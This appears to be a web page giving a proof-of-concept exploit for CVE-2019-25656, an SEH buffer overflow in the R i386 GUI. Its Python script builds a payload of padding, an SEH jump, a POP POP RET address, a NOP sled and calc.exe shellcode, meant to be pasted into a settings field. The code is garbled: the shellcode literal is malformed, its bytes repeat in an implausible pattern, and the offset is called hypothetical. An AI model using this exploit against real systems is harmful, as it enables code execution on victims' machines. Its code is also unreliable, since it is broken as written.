CVE-2019-25656 R i386 GUI缓冲区溢出漏洞

# PoC Code for CVE-2019-25656 (SEH Buffer Overflow) # This script generates a malicious payload to trigger the overflow. import sys # Configuration offset = 1000 # Offset to overwrite SEH (Hypothetical value) # POP POP RET instruction address (Non-ASLR module required) # Replace with actual address from vulnerable application modules seh_handler = b"\xaf\x11\x50\x62" # Jump to shellcode (Short jump: 6 bytes) next_seh = b"\xeb\x06\x90\x90" # Example Shellcode (Calc.exe) # msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python shellcode = b"" \xdb\xc0\xd9\x74\x24\xf4\x5f\x29\xc9\xb1\x31\xbb\xe6\x8a\xc4\x39" \x31\x53\x18\x03\x53\x18\x83\xc3\xfc\xe2\xf4\x8c\x6f\x22\x86\x5f" \x1e\x43\xc9\x6e\x03\xe4\xb4\x44\x89\x0c\x33\x72\x3b\xf0\x78\x5c" \x2b\x1e\xa0\x89\x4b\x4a\xc3\x3e\x56\x6d\x52\xc3\x5e\x2b\x37\x42" \x2d\x76\x7f\x5e\x2b\x73\x3f\x3d\x63\x53\x2a\x4e\x7d\x1c\x4a\x3e" \x76\x7b\x3f\x66\x63\x8a\x4a\x3e\x76\x7b\x3d\x5e\x2b\x2b\x1e\x89\x4b" \x4a\xc3\x3e\x56\x6d\x52\xc3\x5e\x2b\x37\x42\x2d\x76\x7f\x5e\x2b\x73\x3f" \x3d\x63\x53\x2a\x4e\x7d\x1c\x4a\x3e\x76\x7b\x3f\x66\x63\x8a\x4a\x3e\x76" \x7b\x3d\x5e\x2b\x2b\x1e\x89\x4b\x4a\xc3\x3e\x56\x6d\x52\xc3\x5e\x2b\x37" \x42\x2d\x76\x7f\x5e\x2b\x73\x3f\x3d\x63\x53\x2a\x4e\x7d\x1c\x4a\x3e\x76" \x7b\x3f\x66\x63\x8a\x4a\x3e\x76\x7b\x3d\x5e\x2b\x2b\x1e\x89\x4b\x4a\xc3 """ # Construct the payload payload = b"A" * offset + next_seh + seh_handler + b"\x90" * 32 + shellcode # Output payload to be pasted in 'Language for menus and messages' field print("[+] Malicious Payload Generated:") print(payload.decode('latin-1'))